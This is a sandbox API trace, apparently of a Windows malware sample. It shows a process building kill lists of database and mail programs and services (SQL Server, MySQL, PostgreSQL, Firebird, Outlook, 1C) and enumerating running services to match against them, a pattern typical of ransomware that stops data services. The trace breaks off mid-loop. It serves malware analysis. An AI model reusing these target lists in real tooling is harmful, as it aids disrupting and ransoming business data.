0x25f8 [0235.427] GetACP () returned 0x4e4 [0235.427] GetACP () returned 0x4e4 [0235.427] Sleep (dwMilliseconds=0x0) [0235.587] RtlExitUserThread (Status=0x0) Thread: id = 2533 os_tid = 0x25fc [0235.427] GetACP () returned 0x4e4 [0235.427] GetACP () returned 0x4e4 [0235.427] Sleep (dwMilliseconds=0x0) [0235.588] RtlExitUserThread (Status=0x0) Thread: id = 2534 os_tid = 0x2600 [0235.428] GetACP () returned 0x4e4 [0235.428] GetACP () returned 0x4e4 [0235.428] Sleep (dwMilliseconds=0x0) [0235.589] RtlExitUserThread (Status=0x0) Thread: id = 2535 os_tid = 0x2604 [0235.428] GetACP () returned 0x4e4 [0235.428] GetACP () returned 0x4e4 [0235.428] Sleep (dwMilliseconds=0x0) [0235.589] RtlExitUserThread (Status=0x0) Thread: id = 2536 os_tid = 0x2608 [0235.429] GetACP () returned 0x4e4 [0235.429] GetACP () returned 0x4e4 [0235.429] Sleep (dwMilliseconds=0x0) [0235.590] RtlExitUserThread (Status=0x0) Thread: id = 2558 os_tid = 0x26a0 [0240.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce520 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce520, Size=0x20) returned 0x66f740 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f740, Size=0x40) returned 0x642410 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642410, Size=0x80) returned 0x6eccd0 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eccd0, Size=0x100) returned 0x705470 [0240.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce580 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce580, Size=0x20) returned 0x66f740 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f740, Size=0x40) returned 0x642410 [0240.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642410, Size=0x80) returned 0x6ecc48 [0240.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ecc48, Size=0x100) returned 0x704c30 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ce400 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6cdc30 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce358 [0240.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc30, Size=0x8) returned 0x6cdc20 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647158 [0240.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc20, Size=0x10) returned 0x6ce5e0 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x647178 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x66f8d0 [0240.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce5e0, Size=0x20) returned 0x66f7e0 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x66f740 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6472f8 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x66f8f8 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ce478 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6cdc20 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40) returned 0x642458 [0240.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc20, Size=0x8) returned 0x6cdc30 [0240.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c) returned 0x642920 [0240.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc30, Size=0x10) returned 0x6ce5b0 [0240.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647198 [0240.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x647398 [0240.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce5b0, Size=0x20) returned 0x66f998 [0240.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x645f90 [0240.778] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0240.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705470 | out: hHeap=0x630000) returned 1 [0240.778] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0240.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704c30 | out: hHeap=0x630000) returned 1 [0240.778] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f920 [0240.793] EnumServicesStatusExW (in: hSCManager=0x66f920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0240.793] GetLastError () returned 0xea [0240.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1b4e) returned 0x705c10 [0240.794] EnumServicesStatusExW (in: hSCManager=0x66f920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x705c10, cbBufSize=0x1b4e, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x705c10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0240.795] CloseServiceHandle (hSCObject=0x66f920) returned 1 [0240.795] lstrlenW (lpString="AppXSvc") returned 7 [0240.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0240.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0240.796] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0240.796] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0240.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0240.796] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0240.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.796] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0240.796] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0240.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0240.796] lstrlenW (lpString="Audiosrv") returned 8 [0240.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0240.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0240.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0240.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0240.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0240.796] lstrlenW (lpString="BFE") returned 3 [0240.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0240.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0240.796] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0240.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0240.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0240.797] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0240.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.797] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0240.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0240.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0240.797] lstrlenW (lpString="CDPSvc") returned 6 [0240.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0240.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0240.797] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0240.797] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0240.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0240.797] lstrlenW (lpString="ClickToRunSvc") returned 13 [0240.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0240.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0240.797] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0240.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0240.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0240.798] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0240.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0240.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0240.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0240.798] lstrlenW (lpString="CryptSvc") returned 8 [0240.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0240.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0240.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0240.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0240.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0240.798] lstrlenW (lpString="DcomLaunch") returned 10 [0240.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.798] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0240.798] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0240.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0240.799] lstrlenW (lpString="DeviceAssociationService") returned 24 [0240.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0240.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0240.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0240.799] lstrlenW (lpString="Dhcp") returned 4 [0240.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0240.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0240.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0240.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0240.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0240.799] lstrlenW (lpString="Dnscache") returned 8 [0240.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0240.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0240.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0240.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0240.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0240.800] lstrlenW (lpString="DPS") returned 3 [0240.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0240.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0240.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0240.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0240.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0240.800] lstrlenW (lpString="DusmSvc") returned 7 [0240.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0240.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0240.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0240.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0240.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0240.800] lstrlenW (lpString="EventLog") returned 8 [0240.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0240.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0240.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0240.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0240.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0240.800] lstrlenW (lpString="EventSystem") returned 11 [0240.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0240.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0240.801] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0240.801] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0240.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0240.801] lstrlenW (lpString="FontCache") returned 9 [0240.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0240.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0240.801] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0240.801] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0240.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0240.801] lstrlenW (lpString="gpsvc") returned 5 [0240.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0240.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0240.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0240.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0240.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0240.801] lstrlenW (lpString="iphlpsvc") returned 8 [0240.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.802] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0240.802] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0240.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0240.802] lstrlenW (lpString="KeyIso") returned 6 [0240.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0240.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0240.802] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0240.802] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0240.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0240.802] lstrlenW (lpString="LanmanServer") returned 12 [0240.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0240.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0240.802] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0240.802] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0240.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0240.802] lstrlenW (lpString="LanmanWorkstation") returned 17 [0240.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.803] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0240.803] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0240.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0240.803] lstrlenW (lpString="lfsvc") returned 5 [0240.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0240.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0240.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0240.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0240.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0240.803] lstrlenW (lpString="lmhosts") returned 7 [0240.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0240.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0240.803] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0240.803] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0240.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0240.803] lstrlenW (lpString="LSM") returned 3 [0240.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0240.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0240.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0240.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0240.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0240.804] lstrlenW (lpString="MpsSvc") returned 6 [0240.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0240.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0240.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0240.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0240.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0240.804] lstrlenW (lpString="NcbService") returned 10 [0240.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0240.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0240.804] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0240.804] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0240.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0240.804] lstrlenW (lpString="netprofm") returned 8 [0240.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0240.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0240.805] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0240.805] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0240.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0240.805] lstrlenW (lpString="NgcSvc") returned 6 [0240.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0240.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0240.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0240.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0240.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0240.805] lstrlenW (lpString="NlaSvc") returned 6 [0240.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0240.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0240.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0240.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0240.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0240.805] lstrlenW (lpString="nsi") returned 3 [0240.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0240.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0240.806] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0240.806] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0240.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0240.806] lstrlenW (lpString="PcaSvc") returned 6 [0240.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0240.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0240.806] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0240.806] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0240.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0240.806] lstrlenW (lpString="PlugPlay") returned 8 [0240.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0240.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0240.806] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0240.806] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0240.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0240.806] lstrlenW (lpString="Power") returned 5 [0240.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0240.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0240.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0240.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0240.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0240.807] lstrlenW (lpString="ProfSvc") returned 7 [0240.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0240.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0240.807] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0240.807] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0240.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0240.807] lstrlenW (lpString="RpcEptMapper") returned 12 [0240.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.807] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0240.807] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0240.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0240.807] lstrlenW (lpString="RpcSs") returned 5 [0240.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0240.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0240.807] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0240.808] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0240.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0240.808] lstrlenW (lpString="SamSs") returned 5 [0240.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0240.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0240.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0240.808] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0240.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0240.808] lstrlenW (lpString="Schedule") returned 8 [0240.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0240.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0240.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0240.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0240.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0240.808] lstrlenW (lpString="SecurityHealthService") returned 21 [0240.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0240.809] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0240.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0240.809] lstrlenW (lpString="SENS") returned 4 [0240.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0240.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0240.809] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0240.809] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0240.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0240.809] lstrlenW (lpString="ShellHWDetection") returned 16 [0240.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0240.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0240.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0240.809] lstrlenW (lpString="Spooler") returned 7 [0240.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0240.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 